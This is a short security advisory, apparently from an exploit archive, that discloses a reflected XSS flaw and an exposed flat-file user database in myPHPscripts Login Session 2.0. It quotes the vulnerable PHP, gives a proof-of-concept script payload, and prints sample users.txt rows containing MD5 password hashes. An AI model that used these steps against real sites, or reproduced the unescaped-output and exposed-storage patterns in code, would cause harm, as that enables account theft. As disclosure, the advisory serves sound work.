myPHPscripts Login Session 2.0 XSS/Database Disclosure Vulns

2009-01-07 / 2009-01-08
Credit: Osirys
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

[START] #################################################################################################################### [0x01] Informations: Script : myPHPscripts Login Session 2.0 Download : http://www.hotscripts.com/jump.php?listing_id=69881&jump_type=1 Vulnerability : XSS / Database Disclosure Author : Osirys Contact : osirys[at]live[dot]it Website : http://osirys.org Notes : Proud to be Italian Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX #################################################################################################################### [0x02] Bug: [XSS] ###### Bugged file is: /[path]/login.php [CODE] if ($u_invalid == 1) { $errors[] = "User <strong>$user</strong> is invalid. 3-15 alphanumeric characters required."; } [/CODE] If the username that we typed in the register form is invalid, it will directly appear in the html code. So we just have to put a js code, like an alert, and we will get a XSS. [!] FIX: Filter or validate $user before printing it in html code. [!] EXPLOIT: 1) Go at: /[path]/login.php?ls_register 2) In User form put a js code. (ex: <script>alert("XSS")</script>) 3) Field the other forms, and press register button. #################################################################################################################### [0x03] Bug: [Database Disclosure] ###### Bugged file is: /[path]/login.php [CODE] if (empty($errors)) { $newline = $records++; $e_email = base64_encode($email); $data = "$newline||$user||$e_email||$pass\n"; $fh = fopen($users, 'a') or die("Can't open user database."); fwrite($fh, $data); fclose($fh); ?> [/CODE] This cms uses a flat database, a .txt file where it stores usernames,passwords and emails of the registered users. [!] FIX: Don't use this kind of authentication :) [!] EXPLOIT: /[path]/users.txt Informations are printed in this way: 0||admin||b3NpcnlzQGxpdmUuaXQ=||6e1459df459890dfd8b4c3687c18abba 1||cazzone||bG9sQGxvbC5pdA==||b7dba5a1bc3605a87b59ac8147512c97 user_number||username||email(base64 encrypted)||password(md5 encrypted) #################################################################################################################### [/END]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top